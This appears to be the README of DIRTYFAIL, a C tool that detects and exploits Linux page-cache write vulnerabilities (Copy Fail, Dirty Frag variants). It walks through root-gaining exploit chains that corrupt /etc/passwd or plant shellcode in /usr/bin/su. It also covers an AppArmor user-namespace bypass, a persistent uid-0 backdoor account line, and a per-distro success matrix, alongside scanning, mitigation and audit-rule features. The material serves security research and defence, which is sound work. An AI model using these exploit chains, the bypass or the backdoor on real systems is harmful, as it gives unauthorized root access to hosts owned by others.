57 KiB
DIRTYFAIL
A unified detector and PoC harness for the Copy Fail and Dirty Frag Linux page-cache write vulnerability families.
██████╗ ██╗██████╗ ████████╗██╗ ██╗███████╗ █████╗ ██╗██╗
██╔══██╗██║██╔══██╗╚══██╔══╝╚██╗ ██╔╝██╔════╝██╔══██╗██║██║
██║ ██║██║██████╔╝ ██║ ╚████╔╝ █████╗ ███████║██║██║
██║ ██║██║██╔══██╗ ██║ ╚██╔╝ ██╔══╝ ██╔══██║██║██║
██████╔╝██║██║ ██║ ██║ ██║ ██║ ██║ ██║██║███████╗
╚═════╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚══════╝
DIRTYFAIL is a small, well-documented C tool for security researchers. It detects whether a Linux host is vulnerable to the three CVEs in this family, and — with explicit, typed confirmation — runs a real proof-of-concept that drops the caller into a root shell on a vulnerable system.
| CVE / variant | Name | DIRTYFAIL coverage |
|---|---|---|
| CVE-2026-31431 | Copy Fail (algif_aead authencesn page-cache write) |
Detect + full PoC |
| CVE-2026-43284 v4 | Dirty Frag — IPv4 xfrm-ESP page-cache write | Detect + full PoC |
| CVE-2026-43284 v6 | Dirty Frag — IPv6 xfrm-ESP page-cache write (esp6) |
Detect + full PoC |
| CVE-2026-43500 | Dirty Frag — RxRPC page-cache write | Detect + full PoC |
| Copy Fail GCM variant | xfrm-ESP rfc4106(gcm(aes)) page-cache write |
Detect + full PoC |
Bonus modes:
--scan --active— sentinel-STORE active probes. Default--scanreports per-CVE preconditions (kernel, modules, LSM state) plus an active probe of the Copy Fail primitive. Adding--activeextends the sentinel-file STORE probe to all four other primitives (ESP v4, ESP v6, RxRPC, GCM): each fires the kernel trigger against a/tmpsentinel and reports VULNERABLE only if the marker bytes actually land. This is the only way to distinguish a backported-patched kernel (preconds say vulnerable but probe says intact) from an unpatched one without running the full exploit./etc/passwdis never touched. Auto-calibrates V6 STORE shift per kernel build.--exploit-backdoor— persistent uid-0 backdoor: length-matched overwrite of anologin/false/syncline in/etc/passwdwithdirtyfail::0:0:<pad>:/:/bin/bash. Survives shell exit until page is evicted. State stashed at/var/tmp/.dirtyfail.statefor--cleanup-backdoor. Thedirtyfailusername is deliberately matched to this project so it's instantly identifiable in any audit — changeNEW_USERinsrc/backdoor.cif you need a different identifier for an authorized red-team engagement.- AppArmor bypass — defeats Ubuntu's
apparmor_restrict_unprivileged_userns=1policy via a single-hopchange_onexec("crun")re-exec into an unconfined profile that retains userns capabilities. Each exploit mode handles this internally via a fork: parent stays in init namespace, child does the bypass dance, parent reads global page cache and runssufor REAL init-ns root. The legacy--aa-bypassflag still exists for debugging the bypass mechanics in isolation. See §8.5 Architecture.
Verified working on
DIRTYFAIL has been empirically validated end-to-end across multiple
distros and kernel versions. The matrix below reflects per-mode test
results from running each --exploit-* mode against a fresh install
of each distro.
| Distro | Kernel | LSM | Copy Fail | xfrm-ESP v4 | xfrm-ESP v6 | RxRPC | GCM | Backdoor | SU shellcode |
|---|---|---|---|---|---|---|---|---|---|
| Ubuntu 24.04 LTS | 6.8.0-111-generic |
AppArmor | 🛡² | ✅ | ✅ | ✅ | ✅¹ | ✅¹ | (not tested) |
| Debian 13.4 | 6.12.86+deb13 |
none | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡⁵ |
| AlmaLinux 10.1 | 6.12.0-124.8.1.el10_1 |
SELinux | ✅ | ✅ | ✅ | ⏭³ | ✅ | ✅ | ✅ |
| Fedora 44 (Server) | 6.19.10-300.fc44 |
SELinux | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
| Ubuntu 26.04 LTS | 7.0.0-15-generic |
AppArmor (hardened) | 🛡 | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁵ |
Legend: ✅ exploit landed and produced real init-ns root · 🛡 mitigated — exploit cannot reach kernel bug (kernel patched OR LSM blocks unprivileged path) · ⏭ not applicable (precondition missing)
Active-probe validation (--scan --active)
The --active flag adds a sentinel-file STORE probe per CVE during
detection. We validated the probe outputs against the same 4 distros
above (Debian, Fedora, AlmaLinux, Ubuntu 26.04) — the matrix below
shows the per-mode probe verdict and matches the full-exploit
ground-truth one-for-one:
| Distro | Copy Fail probe | ESP v4 probe | ESP v6 probe | RxRPC probe | GCM probe |
|---|---|---|---|---|---|
| Debian 13.4 | intact 🛡 | intact 🛡 | intact 🛡 | intact 🛡 | intact 🛡 |
| Fedora 44 | marker @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | byte change ✅ | sentinel[0] 0x41→0x27 ✅ |
| AlmaLinux 10.1 | marker @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | preconds ⏭ | sentinel changed ✅ |
| Ubuntu 26.04 | intact 🛡 | LSM-blocked 🛡 | LSM-blocked 🛡 | LSM-blocked 🛡 | LSM-blocked 🛡 |
The V6 probe's STORE landing offset (8 on Fedora and Alma) matches the
empirical V6_STORE_SHIFT that calibrate_v6_shift() discovers at
runtime — confirming the auto-calibration replaces the previously
hard-coded constant correctly across kernel builds.
¹ GCM and Backdoor require algif_aead to be loadable. Ubuntu 24.04
ships /etc/modprobe.d/disable-algif_aead.conf blacklisting it as a
Copy Fail mitigation. With the blacklist removed (e.g. on a kernel
predating the mitigation), both modes work end-to-end.
² Copy Fail's algif_aead path is mitigated by the modprobe blacklist;
the underlying CVE primitive in the kernel is the same whether
authencesn is reachable. xfrm-ESP, RxRPC, and the GCM variant all
land on the same kernel because they don't go through algif_aead.
³ AlmaLinux 10's kernel-modules-extra package is not installed by
default on a Minimal install, so rxrpc.ko is missing on disk.
Installing kernel-modules-extra-$(uname -r) from EPEL or the AlmaLinux
extras repo brings the module back; on a stock minimal install RxRPC is
unreachable.
⁴ Ubuntu 26.04 LTS comprehensively blocks unprivileged exploitation.
The shipping kernel 7.0.0-15.15 (released 2026-04-22) predates the
mainline patch f4c50a4034e6 (merged 2026-05-07) by ~2 weeks — so
the bug IS still present in the kernel. Ubuntu's defense is
defense-in-depth via AppArmor hardening, not a kernel patch:
apparmor_restrict_unprivileged_userns=1is enabled by default.- On
unshare(CLONE_NEWUSER), the kernel-level AppArmor enforcement auto-transitions ANY profile (including(unconfined)-flagged ones likecrun,chrome, defaultunconfined) to a<profile>//&unprivileged_userns (mixed)sub-profile that hasaudit deny capability. uid 0 inside the new userns gets no caps. change_onexecto a different profile doesn't help — even thecrunprofile (which has explicituserns,permission andflags=(unconfined)) auto-transitions on unshare. Verified viaaa-exec -p crun bash -c 'unshare -U -n cat /proc/self/attr/current'→crun//&unprivileged_userns (mixed).newuidmap/newgidmap(setuid root) successfully writes uid_map, butsetresuid(0)then succeeds whileioctl(SIOCSIFFLAGS)and every other CAP_NET_ADMIN-gated syscall returns EPERM because the capability denial is per-namespace, not per-uid.
The DIRTYFAIL binary correctly armes its bypass and reaches stage 2,
but cannot acquire CAP_NET_ADMIN inside the new userns. The exploit
infrastructure is blocked at the LSM layer regardless of bypass
technique. We tested change_onexec(crun), change_onexec(chrome),
aa-exec -p <profile>, and direct unshare(USER|NET) + newuidmap
— all produce the same unprivileged_userns sub-profile.
This is good security work by Canonical. The bug class is mitigated for unprivileged users without requiring a kernel rebuild. A subsequent stable update will likely also bring the kernel patch proper, completing the defense.
⁵ --exploit-su shellcode injection depends on the same Copy Fail
algif_aead 4-byte primitive (cf_4byte_write). On kernels where
Copy Fail is patched (Debian 13.4) or LSM-blocked (Ubuntu 26.04 — but
the algif_aead path was also patched in 7.0.0-15), the plant runs
through but the verify step fails ("page cache does not match planted
shellcode") and the auto-revert restores /usr/bin/su. Tested
end-to-end on AlmaLinux 10.1 (entry point at file offset 0x45b0)
and Fedora 44 (offset 0x1b60); ELF parser handles each distro's
PIE base independently. Real-root proof on Fedora 44:
uid=0(root) gid=0(root) ... context=unconfined_u:unconfined_r:unconfined_t.
Test reproducibility:
- We re-installed each distro from a clean ISO, set up SSH key auth + NOPASSWD sudo, cloned and built DIRTYFAIL on each, took a
clean-buildParallels snapshot, then ran all 5 exploit modes with--no-shell(auto-revert via fadvise + drop_caches). - Empirical result rows are derived from parsing the actual
--exploit-*output, looking for the success signals:page cache now reports <user> with uid 0,root password field is now empty,is now uid 0(backdoor), or any of the failure patterns (write did not land,byte flip failed,setresuid: Invalid,add_rxrpc_key: No such device,page cache not in expected shape). - For the RxRPC and Backdoor "real root" verification we drove
echo "" | su - root/echo "" | su - dirtyfailand confirmeduid=0(root)plus successful read of/etc/shadow.
Authorized testing only. Use DIRTYFAIL only on systems you own or are explicitly engaged to assess. The exploit modes corrupt
/etc/passwdin the kernel page cache (the on-disk file is never touched). Cleanup isdirtyfail --cleanuporecho 3 > /proc/sys/vm/drop_caches.
Table of contents
- The bug class
- CVE-2026-31431 — Copy Fail
- CVE-2026-43284 — Dirty Frag (xfrm-ESP)
- CVE-2026-43500 — Dirty Frag (RxRPC)
- Build
- Usage
- How DIRTYFAIL detects each CVE
- How DIRTYFAIL exploits each CVE
- Mitigations
- Ethics & disclosure
- Credits
Companion docs:
docs/DEFENDERS.md— sysadmin playbook: am I vulnerable, how to mitigate, what to monitor.docs/RESEARCH.md— kernel-source audit of adjacent paths (AH, IPCOMP, MACsec, kTLS, etc.) for the same bug class.tools/dirtyfail-check.sh— standalone bash detector for sysadmins (no compilation needed).tools/99-dirtyfail.rules— ready-to-load auditd rules for the exploit chain.tools/dirtyfail-container-escape.sh— cross-namespace blast-radius demo.tools/exploit_su_aarch64.S— aarch64 (ARM64) shellcode source for--exploit-su. Hardware-untested; ships gated behindDIRTYFAIL_AARCH64_TRUST_UNTESTED=1. Regenerate the corresponding bytes insrc/exploit_su.cwithaarch64-linux-gnu-asto verify.
1. The bug class
Page-cache write vulnerabilities let an unprivileged user modify
the kernel's in-memory copy of a file they only have read access to.
The on-disk file is never written; the modification persists in RAM
until the page is evicted (drop_caches, memory pressure, or reboot).
This class started with Dirty Pipe (CVE-2022-0847), which abused
pipe_buffer flags. Copy Fail and Dirty Frag are descendants that
target the frag member of struct sk_buff instead. The mechanism is
always the same:
- Userspace
splice()s a page-cache page from a readable file (e.g./etc/passwd,/usr/bin/su) into the frag of a kernel buffer. - A receive path runs in-place crypto on that buffer — the same pages are both source and destination of the operation.
- The crypto routine performs a "scratch" STORE outside the data region (a sequence-number rearrangement, a single-block decrypt, etc.) that lands inside the user-pinned page.
- The page-cache copy of the file is now permanently modified for every reader on the host, until the page is evicted.
Because the bug is a deterministic logic flaw, not a race, success rates are essentially 100% and the kernel does not panic on failure.
2. CVE-2026-31431 — Copy Fail
- Disclosure: 2026-04-29
- Site: https://copy.fail/
- Original PoC (C): Smarttfoxx/copyfail
- Original PoC (Python): rootsecdev/cve_2026_31431
- Introduced by commit:
72548b093ee3(2017) - Fixed by commit:
a664bf3d(mainline 6.12 / 6.17 / 6.18 stables) - Confirmed affected: Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 14.3, SUSE 16
Root cause
The kernel's algif_aead module exposes the AEAD crypto API to
userspace via AF_ALG. The authencesn(hmac(sha256), cbc(aes))
template implements RFC-4303 ESN (Extended Sequence Numbers); part of
its decryption path performs a 4-byte scratch write to rearrange
the sequence number:
static int crypto_authenc_esn_decrypt(struct aead_request *req)
{
/* Move high-order bits of sequence number to the end. */
scatterwalk_map_and_copy(tmp, src, 0, 8, 0);
if (src == dst) {
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // ★
...
The STORE at ★ is harmless on a normal IPsec packet — it lands inside
the skb's tag area, which is kernel-owned. The crypto template
assumes src and dst point into kernel memory.
algif_aead violates that assumption. It accepts splice() from
userspace, which plants page-cache pages into the request's
scatterlist. Because the AEAD runs in-place (req->dst = req->src),
the page-cache page now sits at the destination scatterlist offset
that the scratch write targets.
The 4 bytes that get written are bytes 4..7 of the AAD that userspace sent — the "seqno_lo" field of an ESP header, which the attacker fills with whatever they want.
Net primitive: 4-byte arbitrary-offset write into the page cache
of any file the attacker can open(O_RDONLY).
Exploitation
The simplest weaponization is in /etc/passwd. A normal user line
looks like:
kara:x:1000:1000:Kara,,,:/home/kara:/bin/bash
Flipping 1000 (the UID field, exactly 4 ASCII bytes for any UID
1000–9999) to 0000 makes glibc's getpwnam() report uid=0 for
that user. PAM, however, still authenticates against the on-disk
/etc/shadow (which is untouched), so su <user> prompts for the
real password, validates it, then setuid(0) — and lands at root
because the page-cache copy of /etc/passwd says we are root.
/etc/shadow integrity is preserved. On-disk /etc/passwd is
preserved. Only the kernel's RAM copy of /etc/passwd is corrupted,
and only until drop_caches or reboot.
3. CVE-2026-43284 — Dirty Frag (xfrm-ESP)
- Disclosure: 2026-04-30 → 2026-05-08
- Original PoC (C): V4bel/dirtyfrag
- Researcher: Hyunwoo Kim (@v4bel)
- Introduced by commit:
cac2661c53f3(2017-01-17) - Fixed by commit:
f4c50a4034e6(mainline net.git, merged 2026-05-07) - Confirmed affected: Ubuntu 24.04, RHEL 10.1, openSUSE Tumbleweed, CentOS Stream 10, AlmaLinux 10, Fedora 44
Root cause
esp_input() is supposed to call skb_cow_data() before in-place AEAD
decryption when an skb is non-linear (i.e. has frags). The code path
has a short-circuit:
if (!skb_cloned(skb)) {
if (!skb_is_nonlinear(skb)) {
nfrags = 1;
goto skip_cow;
} else if (!skb_has_frag_list(skb)) { // ★ bug
nfrags = skb_shinfo(skb)->nr_frags;
nfrags++;
goto skip_cow;
}
}
If the skb has frags but no frag_list, esp_input bypasses
skb_cow_data and hands the user-supplied frag straight to the AEAD
template. The same authencesn(...) scratch write that powers Copy
Fail then lands at file offset (assoclen + cryptlen) of the spliced
page.
The 4 STOREd bytes are seq_hi from the SA's replay_esn state —
attacker-controlled at SA registration time via the
XFRMA_REPLAY_ESN_VAL netlink attribute.
Cost: registering an XFRM SA needs CAP_NET_ADMIN, so the
attacker enters a fresh user namespace via unshare(CLONE_NEWUSER)
first. This is allowed by default on most distros (Ubuntu's hardened
profile is the notable exception).
Crucially, this primitive works even when the algif_aead Copy Fail
mitigation is in place — the xfrm path doesn't go through algif_aead.
A defender who only blacklisted algif_aead is still vulnerable to
Dirty Frag.
Exploitation
V4bel's published PoC writes a 192-byte static "root-shell" ELF over
the first 192 bytes of /usr/bin/su's page cache, using 48 sequential
4-byte STOREs. After modification, execve("/usr/bin/su") runs the
new ELF entry point with the setuid-root bit intact, drops PAM
entirely, and execve("/bin/sh") from inside the shellcode.
DIRTYFAIL takes the simpler /etc/passwd UID-flip approach (one
4-byte STORE — the same target as Copy Fail) for two reasons:
- It is a single-write primitive demonstration, easier to study.
- It is fully reversible with
POSIX_FADV_DONTNEEDand does not leave/usr/bin/suin a corrupt state for other users on the system.
4. CVE-2026-43500 — Dirty Frag (RxRPC)
- Disclosure: 2026-04-29 → 2026-05-08
- Patch: not in any tree as of 2026-05-08; researcher's patch
pending:
lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/ - Researcher: Hyunwoo Kim (@v4bel)
- Introduced by commit:
2dc334f1a63a(2023-06)
Root cause
rxkad_verify_packet_1() performs an in-place pcbc(fcrypt)
single-block decryption on the first 8 bytes of an RxRPC data packet:
sg_init_table(sg, ARRAY_SIZE(sg));
ret = skb_to_sgvec(skb, sg, sp->offset, 8);
memset(&iv, 0, sizeof(iv));
skcipher_request_set_crypt(req, sg, sg, 8, iv.x); // ★ src == dst
ret = crypto_skcipher_decrypt(req); // ★ 8-byte STORE
If a page-cache page has been spliced into the skb's frag, the 8-byte decrypt is performed on top of it.
Difference from xfrm-ESP: the 8 bytes that get STOREd are
fcrypt_decrypt(C, K), where C is the existing ciphertext at that
file offset and K is the session key from an RxRPC v1 token the
attacker registered via add_key("rxrpc", ...). The attacker doesn't
control the STORE value directly — they have to brute-force K until
fcrypt_decrypt(C, K) produces the desired plaintext.
fcrypt is an Andrew File System cipher with a 56-bit key and
8-byte block. It is deterministic; it ports cleanly to user space; and
its key space is small enough that a constrained 8-byte target can be
brute-forced in milliseconds to seconds depending on the constraint
budget.
Crucially, this path does NOT need namespace privileges —
add_key, socket(AF_RXRPC), socket(AF_ALG), splice are all
available to any unprivileged user. RxRPC fills the gap on Ubuntu's
hardened-userns profile (where xfrm-ESP is blocked) because
rxrpc.ko ships in the default Ubuntu build.
Exploitation
The full exploit:
- Brute-force
K_A,K_B,K_Cin user-space such that the three STOREs at/etc/passwdoffsets 4, 6, 8 produce"::","0:","0:GGGGGG:"respectively (last-write-wins). - For each
K_i, register an RxRPC v1 token withadd_key, perform a forged AF_RXRPC handshake against a fake UDP server in the same process, and triggerrxkad_verify_packet_1via splice. - The page-cache copy of
/etc/passwdline 1 is nowroot::0:0:GGGGGG:/root:/bin/bash— an empty password field. - PAM with
pam_unix.so nullokaccepts the empty password;su -drops a root shell.
DIRTYFAIL coverage
DIRTYFAIL ships both detection and a full PoC for this CVE.
The DIRTYFAIL implementation lives in src/dirtyfrag_rxrpc.c and
src/fcrypt.c:
- fcrypt cipher (
fcrypt.c): 56-bit key, 8-byte block, 16-round Feistel; standard rxkad protocol S-boxes. Includes a single-core brute-force harness (~18 Mops/s) that searches the key space until a candidate plaintext satisfies a caller-supplied predicate. - rxkad checksum (
compute_csum_iv,compute_cksum): kernel formula reproduced via AF_ALGpcbc(fcrypt)so that the wire cksum in our forged DATA packet passesrxkad_verify_packet's gate. - RxRPC v1 token build (
build_rxrpc_v1_token): XDR-encoded rxkad token registered viaadd_key("rxrpc", ...)with our brute-forced session key. - AF_RXRPC client + UDP fake-server: the client initiates a call,
the fake-server extracts (epoch, cid, callNumber) from the first
packet and emits a forged CHALLENGE so the client primes
conn->rxkad.cipherwith our key. - Splice trigger (
do_one_trigger): vmsplice forged DATA wire header → splice 8 bytes from/etc/passwd→ splice pipe → udp_srv → recvmsg drives kernel throughrxkad_verify_packet_1→ 8-byte STORE. - 3-splice chain with chained-ciphertext correction: brute force
K_A / K_B / K_C, applying the chained ciphertext shift between
passes (after splice A overwrites bytes 4..11, splice B's
ciphertext at 6..13 starts with
P_A[2..7]; same for C against B).
The final PoC reshapes /etc/passwd line 1 to:
root::0:0:GGGGG:/root:/bin/bash
— empty password field — and execlp("su", "-") then drops a root
shell because pam_unix.so nullok accepts an empty password.
For comparison and verification against the upstream PoC, see
V4bel's exp.c: https://github.com/V4bel/dirtyfrag.
4.5 Architecture overview
DIRTYFAIL is a single C binary built from ~10 source modules. The high-level structure:
┌─────────────────────────────────────────┐
│ dirtyfail (CLI) │
│ src/dirtyfail.c — argv → mode dispatch │
└────────────────┬────────────────────────┘
│
┌──────────────────┬───────┼───────┬─────────────────┬───────────┐
│ │ │ │ │ │
▼ ▼ ▼ ▼ ▼ ▼
┌──────────────┐ ┌─────────────────┐ ┌──────────────┐ ┌──────────┐ ┌────────────┐
│ --scan │ │ --exploit-* │ │ --backdoor │ │--mitigate│ │ --cleanup* │
│ (detect.c) │ │ (5 modes) │ │ install + │ │ defense │ │ revert │
│ │ │ │ │ cleanup │ │ │ │ │
└──────┬───────┘ └────────┬────────┘ └──────┬───────┘ └────┬─────┘ └────────────┘
│ │ │ │
│ ┌────────────────┼──────────────────┼────────────────┘
│ │ │ │
▼ ▼ ▼ ▼
┌──────────────┐ ┌──────────────────┐ ┌──────────────────┐
│ apparmor_ │ │ outer (init ns) │ │ cfg_1byte_write │
│ bypass.c │ │ → fork → child │ │ (gcm primitive) │
│ │ │ outer/inner │ │ │
│ * sysctl │ │ split │ │ used by gcm + │
│ * caps_blocked │ │ │ backdoor for │
│ * fork_arm │ │ parent stays │ │ arbitrary-byte │
└──────┬───────┘ │ in init ns, │ │ writes │
│ │ child re-execs │ └────────┬─────────┘
│ │ via change_ │ │
▼ │ onexec(crun) + │ ▼
┌──────────────┐ │ AA stage 1/2 │ ┌──────────────────┐
│ stage 1/2 │ │ unshare + caps │ │ AF_ALG ecb(aes) │
│ handler │ │ → run inner │ │ keystream brute │
└──────────────┘ └──────────────────┘ │ force │
└──────────────────┘
Per-CVE primitives (each has detect/exploit/exploit_inner functions):
┌──────────────────────────────────────────────────────────────────────┐
│ copyfail.c algif_aead authencesn 4-byte STORE (CVE-2026-31431) │
│ copyfail_gcm.c rfc4106(gcm(aes)) 1-byte STORE (CVE-2026-43284) │
│ dirtyfrag_esp.c xfrm-ESP IPv4 4-byte STORE (CVE-2026-43284) │
│ dirtyfrag_esp6.c xfrm-ESP IPv6 4-byte STORE w/ +9 (CVE-2026-43284) │
│ dirtyfrag_rxrpc.c rxkad 8-byte STORE + fcrypt brute (CVE-2026-43500) │
│ fcrypt.c rxkad cipher (56-bit Feistel) │
│ backdoor.c persistent /etc/passwd line overwrite │
└──────────────────────────────────────────────────────────────────────┘
Key design decisions:
- Outer/inner split: every exploit forks a child for the kernel
work. Parent stays in init namespace so the eventual
execlp("su", user)reaches REAL init-ns root. See §8.5 Architecture. - Page cache is global: child writes from inside its bypass userns, parent reads from init ns; same bytes visible.
- Env vars carry parent → child state:
DIRTYFAIL_INNER_MODE,DIRTYFAIL_TARGET_USER,DIRTYFAIL_K_{A,B,C}(rxrpc),DIRTYFAIL_LINE_OFFetc. (backdoor).execvpreserves the environment across stage transitions. - Defensive companion:
--mitigatedeploys the same blacklists + sysctl hardening that distros ship as official mitigations.--scandetects when caps are LSM-blocked and reports "mitigated" rather than misleading "VULNERABLE preconditions met".
5. Build
Prerequisites
- Linux (this binary is Linux-only at runtime).
gccorclang,make.- Linux UAPI headers — specifically
<linux/xfrm.h>,<linux/netlink.h>,<linux/rtnetlink.h>,<linux/if.h>.
| Distro | Install |
|---|---|
| Debian / Ubuntu | sudo apt install build-essential linux-libc-dev |
| RHEL / CentOS | sudo dnf install gcc make kernel-headers glibc-devel |
| Fedora | sudo dnf install gcc make kernel-headers |
| Arch | sudo pacman -S base-devel |
Build commands
git clone https://github.com/<you>/DIRTYFAIL.git
cd DIRTYFAIL
make # release build → ./dirtyfail
make debug # -O0 -g3 for gdb
make static # static link (musl-gcc recommended)
make clean
The default build produces a single ~80 KB binary at ./dirtyfail.
For a portable build that runs on any kernel-compatible Linux without
glibc dependency drift:
make static CC=musl-gcc
(install musl-tools on Debian/Ubuntu, or build musl from source).
6. Usage
./dirtyfail --help is the canonical reference; the modes broken
out by category:
Detection (safe; no system modification):
| Mode | What it does |
|---|---|
--scan |
Run all five detectors (default mode) |
--scan --active |
Add a sentinel-file STORE probe per CVE — distinguishes preconds-met from actually-exploitable |
--scan --json |
Emit a single JSON object on stdout (SIEM-friendly); logs go to stderr |
--check-copyfail / --check-esp / --check-esp6 / --check-rxrpc / --check-gcm |
Per-CVE detection only |
Exploitation (typed-confirmation gated; corrupts /etc/passwd page cache):
| Mode | What it does |
|---|---|
--exploit-copyfail |
UID flip via algif_aead 4-byte primitive |
--exploit-esp |
UID flip via xfrm-ESP v4 (needs userns+CAP_NET_ADMIN) |
--exploit-esp6 |
UID flip via xfrm-ESP v6 |
--exploit-rxrpc |
Empty root password field via rxkad fcrypt brute force |
--exploit-gcm |
UID flip via rfc4106(gcm(aes)) single-byte primitive |
--exploit-backdoor |
PERSISTENT: insert dirtyfail::0:0:...:/:/bin/bash |
--exploit-su |
V4bel-style: plant arch-specific shellcode at /usr/bin/su entry point. x86_64 tested end-to-end; aarch64 ships hardware-untested (gated behind DIRTYFAIL_AARCH64_TRUST_UNTESTED=1) |
Cleanup / state inspection:
| Mode | What it does |
|---|---|
--cleanup |
Evict /etc/passwd from page cache (fadvise + drop_caches if root) |
--cleanup-backdoor |
Restore the original /etc/passwd line from state file |
--cleanup-su |
Restore /usr/bin/su entry-point bytes from state file |
--list-state |
Report what (if anything) is currently planted; side-effect-free |
Defensive (root required):
| Mode | What it does |
|---|---|
--mitigate |
Blacklist algif_aead/esp4/esp6/rxrpc modules; set apparmor_restrict_unprivileged_userns=1; drop_caches. Side-effects: breaks IPsec, AFS |
--cleanup-mitigate |
Remove the modprobe/sysctl files installed by --mitigate |
Common options:
| Flag | Effect |
|---|---|
--no-shell |
After a successful exploit, do NOT execve su — verify and revert |
--no-revert |
With --no-shell, also skip the auto-revert (used by the container-escape demo) |
--active |
Add active sentinel-STORE probes to --scan/--check-* |
--json |
(with --scan) emit machine-readable output |
--no-color |
Disable ANSI color |
--aa-bypass |
(DEBUG only) force the AppArmor unprivileged-userns bypass — exploits do this internally, see §8.5 |
Detection examples
Plain scan (preconditions only — fast, ~1s):
./dirtyfail --scan
Active sentinel probe per CVE (~10s, modifies /tmp sentinels only):
./dirtyfail --scan --active
JSON for SIEM/fleet ingestion:
$ ./dirtyfail --scan --active --json
{
"tool": "dirtyfail",
"version": "0.1.0",
"hostname": "server-01",
"kernel": "6.19.10-300.fc44.x86_64",
"machine": "x86_64",
"active_probes": true,
"results": [
{"cve": "CVE-2026-31431", "name": "copyfail", "status": "vulnerable"},
{"cve": "CVE-2026-43284", "name": "dirtyfrag-esp", "status": "vulnerable"},
{"cve": "CVE-2026-43284-v6", "name": "dirtyfrag-esp6", "status": "vulnerable"},
{"cve": "CVE-2026-43500", "name": "dirtyfrag-rxrpc", "status": "vulnerable"},
{"cve": "CVE-2026-31431-gcm", "name": "copyfail-gcm", "status": "vulnerable"}
],
"summary": "vulnerable"
}
Status values: vulnerable, not_vulnerable, preconds_missing,
test_error. The summary echoes the worst across results.
Exploit examples (typed confirmation required)
./dirtyfail --exploit-copyfail # UID-flip + drop into root via su
./dirtyfail --exploit-su # plant /bin/sh shellcode at /usr/bin/su entry
./dirtyfail --exploit-copyfail --no-shell # plant + verify + auto-revert (CI-safe)
Each exploit prompts for DIRTYFAIL + (where applicable)
YES_BREAK_SSH before any page-cache modification.
State inspection + cleanup
./dirtyfail --list-state # what's currently planted? (side-effect free)
./dirtyfail --cleanup # fadvise(DONTNEED) + drop_caches if root
./dirtyfail --cleanup-backdoor # restore /etc/passwd from .dirtyfail.state
./dirtyfail --cleanup-su # restore /usr/bin/su from .dirtyfail-su.state
Or fall through to the kernel directly:
sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'
7. How DIRTYFAIL detects each CVE
Copy Fail (active sentinel probe)
Detection actually triggers the primitive against a sentinel file in
/tmp:
- Probe
socket(AF_ALG, SOCK_SEQPACKET, 0)andbindtoauthencesn(hmac(sha256), cbc(aes)). - Create a 4 KiB sentinel file in
/tmpand fault its first page into the cache. - Run the full exploit primitive against it:
sendmsgAAD withseqno_lo = "PWND", splice 32 bytes of the sentinel into the AF_ALG op socket, driverecvto fire the scratch write. - Re-read the sentinel and look for
PWNDanywhere in the first page.
Marker found ⇒ vulnerable. Marker absent but page contents differ ⇒ the primitive partially fired (still vulnerable). Page identical ⇒ not vulnerable on this kernel.
Dirty Frag xfrm-ESP (precondition-based — or active with --active)
Default --scan is precondition-only — we don't enter a user
namespace in detect mode (it would side-effect networking inside
that namespace). We check:
- kernel version within affected window
esp4/esp6currently loaded or autoloadable- unprivileged user namespace creation succeeds (probed via fork →
child
unshare(CLONE_NEWUSER)) - AppArmor
apparmor_userns_caps_blocked()returns false
All four present ⇒ VULNERABLE (preconditions met).
--scan --active extends this with a sentinel-STORE probe: we fork
a child that arms the AA bypass, enters a fresh user/net namespace,
registers an XFRM SA, and fires the ESP-in-UDP trigger against a
/tmp/dirtyfail-esp-probe.XXXXXX sentinel file. The parent re-reads
the sentinel and looks for the marker bytes:
- marker landed → kernel STORE is reachable → VULNERABLE
- page intact → kernel patch is in effect → NOT VULNERABLE
- AA bypass denied → PRECOND_FAIL (LSM-mitigated)
This is the only way to distinguish a backported-patched kernel
from an unpatched one without running the full UID-flip exploit
against /etc/passwd. The same pattern is used for ESP v6, RxRPC,
and GCM under --active.
Dirty Frag RxRPC (precondition-based — or active with --active)
Preconditions:
rxrpcin/proc/modulesor autoloadablesocket(AF_RXRPC, SOCK_DGRAM, 0)succeeds
Active probe (--active): forks via AA bypass, registers an rxrpc
session key with an arbitrary 8-byte value, sends one CHALLENGE +
DATA forgery against a /tmp sentinel, looks for ANY byte change
inside the spliced 8-byte window. We don't try to predict what
landed — any modification confirms the kernel STORE fires.
Copy Fail GCM variant + ESP v6 — same shape
The GCM variant active probe installs a transport-mode SA with an
arbitrary IV and fires gcm_trigger against a /tmp sentinel; ANY
byte change at sentinel[0] confirms reachability. The ESP v6 probe
also auto-calibrates V6_STORE_SHIFT per kernel build (see
calibrate_v6_shift in src/dirtyfrag_esp6.c) — different distros'
esp6_input builds put the STORE at slightly different offsets
inside the spliced region, and the calibration probe discovers the
exact offset before the real exploit fires.
8. How DIRTYFAIL exploits each CVE
Copy Fail exploit (copyfail.c)
Single 4-byte STORE through algif_aead:
[/etc/passwd page cache]
user ──sendmsg(AAD = SPI||"0000")──▶ AF_ALG op
──splice(passwd_fd, 32B)──────▶ AF_ALG op (in-place dst SGL)
──recv()─────────────────────▶ kernel runs authencesn_decrypt
scratch write: "0000" → uid_off
EBADMSG returned to user (we ignore)
user ──open(passwd, RDONLY)─read──▶ "kara:x:0000:1000:..." ◄─ page cache
user ──execlp("su", "kara")──────▶ PAM ✓ on /etc/shadow → setuid(0)
─────► root shell
Dirty Frag xfrm-ESP exploit (dirtyfrag_esp.c)
Same end-state as Copy Fail, reached through xfrm_input instead of
algif_aead:
[/etc/passwd page cache]
unshare(USER|NET); setup uid_map; ifup lo
NETLINK_XFRM ─NEWSA(seq_hi="0000", encap=ESPINUDP/4500)─▶ kernel
udp_recv bind 127.0.0.1:4500, UDP_ENCAP_ESPINUDP
udp_send connect 127.0.0.1:4500
vmsplice ESP wire header (24B) ─▶ pipe
splice /etc/passwd@uid_off (16B) ─▶ pipe
splice pipe (40B) ─▶ udp_send
